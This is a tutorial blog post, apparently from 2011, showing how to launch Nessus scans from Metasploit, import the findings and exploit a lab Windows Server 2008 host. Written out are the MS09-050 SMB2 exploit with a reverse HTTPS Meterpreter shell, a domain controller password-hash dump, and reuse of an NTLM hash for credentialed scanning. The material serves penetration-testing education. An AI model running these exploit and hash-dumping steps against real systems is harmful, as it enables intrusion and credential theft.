Using Nessus and Metasploit Together

Security Tools Working Together

This is the third in a series of posts that describe the use of Nessus on BackTrack 5. Previous posts covered how to activate Nessus on BackTrack 5 and how to integrate Nmap, Hydra, and Nikto with Nessus. In this post we will cover initiating Nessus scans from within Metasploit. Beginning with Nessus 4, Tenable introduced the Nessus API, which lets users programmatically interface with a Nessus server using XMLRPC. Zate Berg took the initiative to write modules in Metasploit that, among other things, can launch a Nessus scan and import the results into the Metasploit database. From there, we can find which hosts are vulnerable to exploitation, exploit them, harvest the password hashes, and then use those password hashes to initiate credentialed Nessus scans.

Configuring Nessus

The first step needed to use Nessus with Metasploit is to log into Nessus and create a user for Metasploit. In this example, I created a user called "msf" with a password of "metasploit".

While logged in as "msf", I created a policy called "Windows Server Scan". The policy has all plugins enabled and most of the defaults were left as-is since I wanted to initiate a network-based vulnerability scan.

Setting up the Metasploit Database

The first thing to do in Metasploit is configure the database. There are some steps that you need to take prior to doing this, and I found the following two articles to be helpful:

• BT5 + Metasploit + PostgreSQL
• BT5 + Metasploit + MySQL standalone server

Once the database has been configured, you will need to enable the database driver and connect to the database. We used PostgreSQL in the following example:

msf > db_driver postgresql
msf > db_connect postgres:[email protected]/metasploit
msf > nessus_connect msf:[email protected]:8834 ok
[*] Connecting to https://127.0.0.1:8834/ as msf
[*] Authenticated

Initiating a Nessus Scan

The next step is to load the Nessus module and list which scan policies are available on the Nessus server using the "nessus_policy_list" command:

msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf exploit(ms09_050_smb2_negotiate_func_index) > nessus_policy_list 

[+] Nessus Policy List

ID  Name                        Comments

--  ----                        --------

-4  Internal Network Scan 

-3  Web App Tests 

-2  Prepare for PCI DSS audits 

-1  External Network Scan 

1   Windows Server Scan

The built-in policies show up as negative numbers, and polices created by the user are numbered accordingly, starting with 1. "Windows Server Scan" is the policy we created and will use for this example. With this policy we can initiate a new scan using the "nessus_scan_new" command:

msf > nessus_scan_new 1 win2008-msf 192.168.1.180
[*] Creating scan from policy number 1, called "win2008-msf" and scanning 192.168.1.180
[*] Scan started.  uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2

This kicks off a scan on the Nessus server and scans the host 192.168.1.180 using our policy. You can check on the status of the scan using the "nessus_scan_status" command:

msf > nessus_scan_status
[+] Running Scans
Scan ID                                               Name         Owner  Started            Status   Current Hosts  Total Hosts
-------                                               ----         -----  -------            ------   -------------  -----------
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  msf    03:48 Jun 01 2011  running  0              1
*Snip*

Once the scan has finished you can review the reports generated by using the "nessus_report_list" command:

msf > nessus_report_list
[+] Nessus Report List
ID                                                    Name         Status     Date
--                                                    ----         ------     ----
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2  win2008-msf  completed  03:51 Jun 01 2011
*Snip*

Now that we have identified the report we want to use, we can use the "nessus_report_get" command to import the results and store them in the Metasploit database:

msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1  Done!
[+] Done

Once the results have been imported we can review the available vulnerabilities using the "db_vulns" command:

msf exploit(ms09_050_smb2_negotiate_func_index) > db_vulns
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=5355 proto=udp name=Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=593 proto=tcp name=Service Detection refs=NSS-22964
[*] Time: Wed Jun 01 08:01:06 UTC 2011 Vuln: host=192.168.1.180 port=445 proto=tcp name=MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check) refs=CVE-2009-3103,BID-36299,CWE-399,OSVDB-57799,MSFT-MS09-050,MSF-Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference,NSS-40887
*Snip*

In the results for this particular host, Nessus reported that it was missing the patch for Microsoft security bulletin MS09-050. To see if Metaspoit contains an exploit for that vulnerability, run the command "search exploits 09-050":

msf > search exploits 09-050
Matching Modules
================
Name                                                       Disclosure Date  Rank    Description
----                                                       ---------------  ----    -----------
exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

As you can see, Metasploit does indeed have such an exploit! The next step is to use this exploit, along with a payload, to compromise the system:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) >
msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 192.168.1.180
RHOST => 192.168.1.180
msf exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.242:8443/
[*] Connecting to the target (192.168.1.180:445)...
[*] Sending the exploit packet (951 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] 192.168.1.180:54287 Request received for /AFIgx...
[*] 192.168.1.180:54287 Staging connection for target FIgx received...
[*] Patching Target ID FIgx into DLL
[*] 192.168.1.180:54288 Request received for /BFIgx...
[*] 192.168.1.180:54288 Stage connection for target FIgx received...
[*] Meterpreter session 1 opened (192.168.1.242:8443 -> 192.168.1.180:54288) at Wed Jun 01 04:15:35 -0400 2011
meterpreter >

Success! The commands shown above set the target to be attacked (RHOST) and the host to call back to once the target system has been exploited (LHOST). We've chosen a reverse-connecting HTTPS Meterpreter payload, which will connect back to our Metasploit instance on port 8443. The next task is to dump the password hashes from the remote host. I chose to use a new module called "smart_hashdump". I chose this module because the remote host is an Active Directory domain controller and has a few thousand user accounts. smart_hashdump allows us to dump the password hashes and save them to a file:

meterpreter > run post/smart_hasdump SESSION=1,GETSYSTEM=true
[*] Running module against WIN-8BPIQBRO0CX
[*] Hashes will be saved to the Database if one is connected.
[*] Hashes will be saved in loot in John Password File format to:
[*] /root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...

Take a look at the first line in the file "/root/.msf3/loot/20110601044405_default_192.168.1.180_windows.hashes_561621.txt" and you will see something like the following:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:33834686d2a3f2dcb675a31b773c3a8bkrbtgt:

This is the local Administrator account's password. Copy the second field (highlighted in bold) which is the NTLM-hashed password for the local Administrator user. Next, configure a new Nessus policy, and use the NTLM hash as the "SMB password":

Make sure to set the "SMB password type" field to "NTLM Hash" and the "SMB account" field to "Administrator".

For comparison, the number of vulnerabilities found by scanning the target with credentials and without are shown below:

With credentials:

Without credentials:

Conclusion

It’s very pleasing to see the Nessus API being leveraged to help users be more productive. The Nessus bridge for Metasploit is a great user community project that has allowed Nessus to integrate with other popular security tools. You could even automate the above process using a script that would launch Nessus, run a scan, and exploit the remotely exploitable vulnerabilities. However, we do see that a credentialed scan produces a much more comprehensive report of the vulnerabilities present on a system. It ultimately becomes a choice of what you are trying to accomplish during your security assessments and most people will approach the process in their own way.

References

• Nessus "Exploitable With" Field Updated
• If an exploit falls in the forest, does anyone hear it being patched?